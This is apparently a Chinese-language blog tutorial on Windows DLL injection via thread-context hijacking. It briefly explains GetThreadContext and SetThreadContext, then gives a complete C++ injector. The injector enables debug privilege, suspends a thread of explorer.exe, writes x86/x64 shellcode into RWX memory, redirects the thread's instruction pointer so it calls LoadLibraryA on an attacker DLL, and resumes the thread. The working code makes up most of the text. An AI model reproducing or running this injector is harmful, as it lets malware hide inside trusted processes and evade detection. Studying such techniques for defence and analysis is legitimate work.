Dll注入:x86/X64 SetThreadContext 注入
在《Windows核心编程》第七章说到了线程优先级等知识,其中谈到了ThreadContext线程上下背景文。
其中介绍了GetThreadContext函数来查看线程内核对象的内部,并获取当前CPU寄存器状态的集合。
BOOL GetThreadContext (
HANDLE hThread,
PCONTEXT pContext);
若要调用该函数,只需指定一个CONTEXT结构,对某些标志(该结构的ContextFlags成员)进行初始化,指明想要收回哪些寄存器,并将该结构的地址传递给GetThreadContext 。然后该函数将数据填入你要求的成员。
在调用GetThreadContext函数之前,应该调用SuspendThread,否则,线程可能刚好被调度,这样一来,线程的上下文就和所获取的信息不一致了。
示例代码如下:
CONTEXT Context; //定义一个CONTEXT结构 Context.ContextFlags = CONTEXT_CONTROL; //告诉系统我们想获取线程控制寄存器的内容 GetThreadContext(hThread, &Context); //调用GetThreadContext获取相关信息
Ps:在调用GetThreadContext函数之前,必须首先初始化CONTEXT结构的ContextFlags成员。
要获得线程的所有重要的寄存器(也就是微软认为最常用的寄存器),应该像下面一样初始化ContextFlags:
Context.ContextFlags = CONTEXT_FULL;
通过vs2015的<winnt.h>中的定义可知CONTEXT的结构:
typedef struct _CONTEXT { // // The flags values within this flag control the contents of // a CONTEXT record. // // If the context record is used as an input parameter, then // for each portion of the context record controlled by a flag // whose value is set, it is assumed that that portion of the // context record contains valid context. If the context record // is being used to modify a threads context, then only that // portion of the threads context will be modified. // // If the context record is used as an IN OUT parameter to capture // the context of a thread, then only those portions of the thread's // context corresponding to set flags will be returned. // // The context record is never used as an OUT only parameter. // DWORD ContextFlags; // // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT // included in CONTEXT_FULL. // DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_FLOATING_POINT. // FLOATING_SAVE_AREA FloatSave; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_SEGMENTS. // DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_INTEGER. // DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; // // This section is specified/returned if the // ContextFlags word contians the flag CONTEXT_CONTROL. // DWORD Ebp; DWORD Eip; DWORD SegCs; // MUST BE SANITIZED DWORD EFlags; // MUST BE SANITIZED DWORD Esp; DWORD SegSs; // // This section is specified/returned if the ContextFlags word // contains the flag CONTEXT_EXTENDED_REGISTERS. // The format and contexts are processor specific // BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT;
在WinNT. h头文件中,定义了CONTEXT_FULL为CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS。
当然,我们还可以通过调用SetThreadContext函数来改变结构中的成员,并把新的寄存器值放回线程的内核对象中
BOOL SetThreadContext (
HANDLE hThread,
CONST CONTEXT *pContext);
由此考虑到可以修改EIP的值,来执行我们的代码,实现注入。首先我们先挂起目标线程,
CONTEXT Context; //定义一个CONTEXT结构
SuspendThread(hThread); //挂起线程
ThreadContext.ContextFlags = CONTEXT_ALL; //修改对Context操作的权限
GetThreadContext(hThread, &Context); //获得Context信息
BufferData = VirtualAllocEx() //在目标线程申请内存 来执行我们的shellcode
编写shellcode
WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL) // 写入shellcode
ThreadContext.Eip = (UINT32)BufferData //修改EIP指向
Context.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(hThread, &Context); //重新设置线程上下文
ResumeThread(hThread); //恢复线程,现在线程开始从BufferData这个地方开始执行指令
// SetThreadContext.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <Windows.h> #include <TlHelp32.h> #include <vector> #include <iostream> using namespace std; BOOL GrantPriviledge(WCHAR* PriviledgeName); BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId); BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector); BOOL Inject(UINT32 ProcessId, UINT32 ThreadId); #ifdef _WIN64 UINT8 ShellCode[0x100] = { 0x48,0x83,0xEC,0x28, 0x48,0x8D,0x0d, 0x00,0x00,0x00,0x00, 0xff,0x15, 0x00,0x00,0x00,0x00, 0x48,0x83,0xc4,0x28, 0xff,0x25, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, }; #else UINT8 ShellCode[0x100] = { 0x60, 0x9c, 0x68, 0x00,0x00,0x00,0x00, 0xff,0x15, 0x00,0x00,0x00,0x00, 0x9d, 0x61, 0xff,0x25, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00 }; #endif CHAR DllFullPath[MAX_PATH] = { 0 }; int main() { // 提权 if (GrantPriviledge(SE_DEBUG_NAME) == FALSE) { printf("GrantPriviledge Error\r\n"); } UINT32 ProcessId = 0; GetCurrentDirectoryA(MAX_PATH, DllFullPath); #ifdef _WIN64 GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); strcat_s(DllFullPath, "\\x64Dll.dll"); #else GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId); strcat_s(DllFullPath, "\\x86Dll.dll"); #endif //枚举到线程id vector<UINT32> ThreadIdVector; GetThreadIdByProcessId(ProcessId, ThreadIdVector); for (UINT32 ThreadId : ThreadIdVector) { Inject(ProcessId, ThreadId); break; } Sleep(3000); return 0; } UINT32 Count = 0; BOOL Inject(UINT32 ProcessId, UINT32 ThreadId) { HANDLE ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId); HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); // 首先挂起线程 SuspendThread(ThreadHandle); CONTEXT ThreadContext = { 0 }; ThreadContext.ContextFlags = CONTEXT_ALL; if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE) { cout << GetLastError() << endl; CloseHandle(ThreadHandle); CloseHandle(ProcessHandle); return FALSE; } PVOID BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (BufferData != NULL) { UINT_PTR LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA"); if (LoadLibraryAddress != NULL) { #ifdef _WIN64 // ShellCode + 43 PUINT8 v1 = ShellCode + 43; memcpy(v1, DllFullPath, strlen(DllFullPath) + 1); UINT32 DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7); *(PUINT32)(ShellCode + 7) = DllNameOffset; // ShellCode + 35 *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryAddress; UINT32 LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6); *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset; *(PUINT64)(ShellCode + 27) = ThreadContext.Rip; if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) { return FALSE; } ThreadContext.Rip = (UINT64)BufferData; #else PUINT8 v1 = ShellCode + 29; memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + 1); *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29; *(PUINT32)(ShellCode + 25) = LoadLibraryAddress; *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25; *(PUINT32)(ShellCode + 21) = ThreadContext.Eip; *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21; if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL)) { printf("write Process Error\n"); return FALSE; } ThreadContext.Eip = (UINT32)BufferData; #endif if (!SetThreadContext(ThreadHandle, &ThreadContext)) { printf("set thread context error\n"); return FALSE; } ResumeThread(ThreadHandle); printf("ShellCode 注入完成: %d\r\n", ++Count); } } CloseHandle(ThreadHandle); CloseHandle(ProcessHandle); return TRUE; } //获得线程ID BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector) { HANDLE ThreadSnapshotHandle = NULL; THREADENTRY32 ThreadEntry32 = { 0 }; ThreadEntry32.dwSize = sizeof(THREADENTRY32); ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } Thread32First(ThreadSnapshotHandle, &ThreadEntry32); do { if (ThreadEntry32.th32OwnerProcessID == ProcessId) { ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID); // 把该进程的所有线程id压入模板 } } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32)); CloseHandle(ThreadSnapshotHandle); ThreadSnapshotHandle = NULL; return TRUE; } BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId) { HANDLE ProcessSnapshotHandle = NULL; PROCESSENTRY32 ProcessEntry32 = { 0 }; ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } Process32First(ProcessSnapshotHandle, &ProcessEntry32); do { if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) { *TargetProcessId = ProcessEntry32.th32ProcessID; break; } } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); CloseHandle(ProcessSnapshotHandle); ProcessSnapshotHandle = NULL; return TRUE; } // 提限 BOOL GrantPriviledge(WCHAR* PriviledgeName) { TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges; DWORD dwReturnLength = sizeof(OldPrivileges); HANDLE TokenHandle = NULL; LUID uID; // 打开权限令牌 if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle)) { if (GetLastError() != ERROR_NO_TOKEN) { return FALSE; } if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) { return FALSE; } } //查看权限令牌 if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) { CloseHandle(TokenHandle); return FALSE; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TokenPrivileges.Privileges[0].Luid = uID; // 调整权限 if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength)) { CloseHandle(TokenHandle); return FALSE; } CloseHandle(TokenHandle); return TRUE; }
该方法注入explorer,只能注入一次,然后需要重启电脑。